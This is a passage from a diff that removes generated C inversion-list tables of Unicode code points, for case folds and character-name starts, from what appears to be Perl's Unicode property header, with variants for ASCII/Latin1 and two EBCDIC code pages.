0xFF5B, - 0x10400, - 0x10450, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x118A0, - 0x118E0, - 0x1E900, - 0x1E944 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL__PERL_ANY_FOLDS_invlist[] = { /* for EBCDIC 1047 */ - 285, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x131, - 0x132, - 0x138, - 0x139, - 0x18D, - 0x18E, - 0x19B, - 0x19C, - 0x1AA, - 0x1AC, - 0x1BA, - 0x1BC, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C4, - 0x221, - 0x222, - 0x234, - 0x23A, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25D, - 0x260, - 0x262, - 0x263, - 0x264, - 0x265, - 0x267, - 0x268, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29F, - 0x2BC, - 0x2BD, - 0x2BE, - 0x2BF, - 0x300, - 0x302, - 0x307, - 0x309, - 0x30A, - 0x30B, - 0x30C, - 0x30D, - 0x313, - 0x314, - 0x331, - 0x332, - 0x342, - 0x343, - 0x345, - 0x346, - 0x370, - 0x374, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3D2, - 0x3D5, - 0x3F6, - 0x3F7, - 0x3FC, - 0x3FD, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x561, - 0x588, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E00, - 0x1E9C, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2180, - 0x2183, - 0x2185, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2C71, - 0x2C72, - 0x2C74, - 0x2C75, - 0x2C77, - 0x2C7E, - 0x2CE4, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA640, - 0xA66E, - 0xA680, - 0xA69C, - 0xA722, - 0xA730, - 0xA732, - 0xA770, - 0xA779, - 0xA788, - 0xA78B, - 0xA78E, - 0xA790, - 0xA794, - 0xA796, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0x10400, - 0x10450, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x118A0, - 0x118E0, - 0x1E900, - 0x1E944 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL__PERL_ANY_FOLDS_invlist[] = { /* for EBCDIC 037 */ - 281, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x131, - 0x132, - 0x138, - 0x139, - 0x18D, - 0x18E, - 0x19B, - 0x19C, - 0x1AA, - 0x1AC, - 0x1BA, - 0x1BC, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C4, - 0x221, - 0x222, - 0x234, - 0x23A, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25D, - 0x260, - 0x262, - 0x263, - 0x264, - 0x265, - 0x267, - 0x268, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29F, - 0x2BC, - 0x2BD, - 0x2BE, - 0x2BF, - 0x300, - 0x302, - 0x307, - 0x309, - 0x30A, - 0x30B, - 0x30C, - 0x30D, - 0x313, - 0x314, - 0x331, - 0x332, - 0x342, - 0x343, - 0x345, - 0x346, - 0x370, - 0x374, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3D2, - 0x3D5, - 0x3F6, - 0x3F7, - 0x3FC, - 0x3FD, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x561, - 0x588, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E00, - 0x1E9C, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2180, - 0x2183, - 0x2185, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2C71, - 0x2C72, - 0x2C74, - 0x2C75, - 0x2C77, - 0x2C7E, - 0x2CE4, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA640, - 0xA66E, - 0xA680, - 0xA69C, - 0xA722, - 0xA730, - 0xA732, - 0xA770, - 0xA779, - 0xA788, - 0xA78B, - 0xA78E, - 0xA790, - 0xA794, - 0xA796, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0x10400, - 0x10450, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x118A0, - 0x118E0, - 0x1E900, - 0x1E944 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL__PERL_CHARNAME_BEGIN_invlist[] = { /* for ASCII/Latin1 */ - 1183, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xB5, - 0xB6, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x620, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x971, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC80, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xE01, - 0xE31, - 0xE32, - 0xE33, - 0xE40, - 0xE47, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB3, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16F1, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x1820, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A55, - 0x1AA7, - 0x1AA8, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2183, - 0x2185, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x3005, - 0x3007, - 0x3031, - 0x3036, - 0x303B, - 0x303D, - 0x3041, - 0x3097, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA67F, - 0xA69E, - 0xA6A0, - 0xA6E6, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA960, - 0xA97D, - 0xA984, - 0xA9B3, - 0xA9CF, - 0xA9D0, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABE3, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFC5E, - 0xFC64, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFA, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, - 0xFEFD, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x10341, - 0x10342, - 0x1034A, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11644, - 0x11645, - 0x11680, - 0x116AB, - 0x11700, - 0x1171A, - 0x118A0, - 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL__PERL_CHARNAME_BEGIN_invlist[] = { /* for EBCDIC 1047 */ - 1209, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 